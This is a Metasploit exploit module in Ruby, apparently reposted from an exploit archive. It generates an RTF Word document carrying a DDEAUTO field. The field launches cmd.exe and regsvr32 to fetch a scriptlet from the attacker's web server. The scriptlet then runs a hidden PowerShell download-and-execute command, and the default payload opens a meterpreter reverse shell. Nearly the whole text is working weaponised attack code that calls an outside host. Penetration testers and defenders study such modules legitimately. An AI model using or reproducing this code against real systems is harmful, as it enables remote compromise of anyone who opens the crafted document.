Microsoft Office DDE Payload Delivery

This Metasploit module generates an DDE command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server.


MD5 | 99526b3ca709bcb05d6b75829aada925

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office DDE Payload Delivery',
'Description' => %q{
This module generates an DDE command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server.
},
'Author' => 'mumbai',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 9 2017',
'References' => [
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Microsoft Office', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'EXITFUNC' => 'thread'
}
))
register_options([
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
])
end

def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))

# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end

download_and_run = "#{ignore_cert}#{download_string}"

# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end

def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end


def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end


def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end

def retrieve_header(filename)
if (not datastore['INJECT_PATH'].nil?)
path = "#{datastore['INJECT_PATH']}"
else
path = nil
end
if (not path.nil?)
if ::File.file?(path)
::File.open(path, 'rb') do |fd|
header = fd.read(fd.stat.size).split('{\*\datastore').first
header = header.to_s
print_status("Injecting #{path}...")
return header
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
return header
end

def create_rtf
#
header = retrieve_header(datastore['FILENAME'])
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
field_class << '\insrsid5790315' + "\n"
field_class << '\par }'
footer = '}}' # footer
rtf = header + field_class + footer
rtf
end

def primer
file_create(create_rtf)
end
end

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